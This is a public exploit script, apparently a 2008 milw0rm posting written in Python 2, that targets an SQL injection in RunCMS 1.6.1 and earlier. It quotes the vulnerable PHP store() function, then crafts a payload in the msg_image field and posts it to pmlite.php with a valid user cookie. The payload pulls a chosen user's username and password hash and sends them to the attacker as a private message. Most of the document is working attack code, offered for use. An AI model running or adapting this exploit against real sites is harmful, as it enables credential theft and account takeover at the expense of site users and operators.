#!/usr/bin/python
"""
#=================================================================================================#
# ____ __________ __ ____ __ #
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
# | | | \ | |/ \ \___| | /_____/ | || | #
# |___|___| /\__| /______ /\___ >__| |___||__| #
# \/\______| \/ \/ #
#=================================================================================================#
# This is a public Exploit #
#=================================================================================================#
# Runcms <= 1.6.1 #
# Sql Injection Vulnerability #
#=================================================================================================#
# .-= In memory of our friend rGod =-. #
#====================================#===========#====================================#===========#
# Server Configuration Requirements # # Some Information # #
#====================================# #====================================# #
# # #
# magic_quotes_gpc = 0 # Vendor: runcms.org #
# # Author: The:Paradox #
#================================================# Severity: Moderately Critical #
# # #
# Uff... I have to find something to put here... # Proud To Be Italian. #
# # #
#====================================#===========#================================================#
# Proof Of Concept / Bug Explanation # #
#====================================# #
# #
# This time i'm really too lazy to write a long PoC. #
# $msg_image (but also $msg_attachment) is unproperly checked when calling store() #
# function (modules/messages/class/pm.class.php) #
# Sql injection in insert syntax (whatever I am not using blind attack). Prefix knowledge needed. #
# #
#=================================================================================================#
[modules/messages/class/pm.class.php]
64. function store() {
65. global $db, $upload;
66.
67. if ( !$this->isCleaned() ) {
68. if ( !$this->cleanVars() ) {
69. return false;
70. }
71. }
72.
73. foreach ( $this->cleanVars as $k=>$v ) {
74. $$k = $v;
75. }
76.
77. if ( empty($msg_id) ) {
78.
79. $msg_id = $db->genId($db->prefix('private_msgs').'_msg_id_seq');
80.
81. $sql = "
82. INSERT INTO ".$db->prefix("private_msgs")." SET
83. msg_id=".intval($msg_id).",
84. msg_image='$msg_image',
85. msg_attachment='$msg_attachment',
86. subject='$subject',
87. from_userid=".intval($from_userid).",
88. to_userid=".intval($to_userid).",
89. msg_time=".time().",
90. msg_text='$msg_text',
91. read_msg=0,
92. type='".$type."',
93. allow_html=".intval($allow_html).",
94. allow_smileys=".intval($allow_smileys).",
95. allow_bbcode=".intval($allow_bbcode).",
96. msg_replay=".intval($msg_replay)."";
97. }
98.
99. if ( !$result = $db->query($sql) ) {
100. $this->errors[] = _NOTUPDATED;
101. return false;
102. }
103.
104. return true;
105. }
#=================================================================================================#
# There are other vulnerabilities in this CMS. Find them by yourself. #
#=================================================================================================#
# Use this at your own risk. You are responsible for your own deeds. #
#=================================================================================================#
# Python Exploit Starts #
#=================================================================================================#
"""
import urllib, urllib2
from sys import argv, exit
main = """
#================================================================#
# Runcms <= 1.6.1 #
# Sql Injection Vulnerability #
# Discovered By The:Paradox #
# #
# rGod is still alive in our hearts #
# #
# Usage: #
# ./homerun [Target+path] [TargetUid] [ValidUserCookie] #
# ./homerun --help (to print an example) #
#================================================================#
"""
prefix = "runcms_"
if len(argv)>=2 and argv[1] == "--help":
print "\nuser@linux:~/Desktop$ ./homerun http://localhost/web/runcms/ 1 rc_sess=a%3A3%3A%7Bi%3A0%3Bi%3A3%3Bi%3A1%3Bs%3A40%3A%228b394462d67198707aea362098001610d35687ff%22%3Bi%3A2%3Bi%3A1212933002%3B%7D;\n\n" + main + "\n\n[.] Exploit Starting.\n[+] Sending HTTP Request...\n[+] A message with username and password of user with id 1 has been sent to user with id 3.\n -= The:Paradox =-"
else: print main
if len(argv)<=3: exit()
else: print "[.] Exploit Starting."
host = argv[1]
tuid = argv[2]
cookie = argv[3]
try: uid = cookie.split("a%3A3%3A%7Bi%3A0%3Bi%3A")[1].split("%3Bi%3A1%3Bs%3A40%3A%")[0]
except: exit("[-] Invalid cookie")
sql = "icon12.gif', msg_attachment='', subject='Master, all was done.', from_userid=" + str(uid) + ", to_userid=" + str(uid) + ", msg_time=0, msg_text=concat('Master, password hash for ',(select uname from " + prefix + "users where uid=" + tuid + "),' is ',(select pass from " + prefix + "users where uid=" + tuid + ")), read_msg=0, type='1', allow_html=0, allow_smileys=1, allow_bbcode=1, msg_replay=0/*"
print "[+] Sending HTTP Request..."
values = {'subject' : 'Master attack failed.',
'message' : 'Probably mq = 1 or system patched.',
'allow_html' : 0,
'allow_smileys' : 1,
'allow_bbcode' : 0,
'msg_replay' : 1,
'submit' : '1',
'msg_image' : sql,
'to_userid' : uid }
headers = {'Cookie' : cookie,
'Content-Type' : 'application/x-www-form-urlencoded'}
req = urllib2.Request(host + "/modules/messages/pmlite.php", urllib.urlencode(values), headers)
response = urllib2.urlopen(req)
if response.read().find('Your message has been posted.') != -1: print "[+] A message with username and password of user with id " + tuid + " has been sent to user with id " + uid + ".\n -= The:Paradox =-"
else: print "[-] Unable to send message"
# milw0rm.com [2008-05-08]
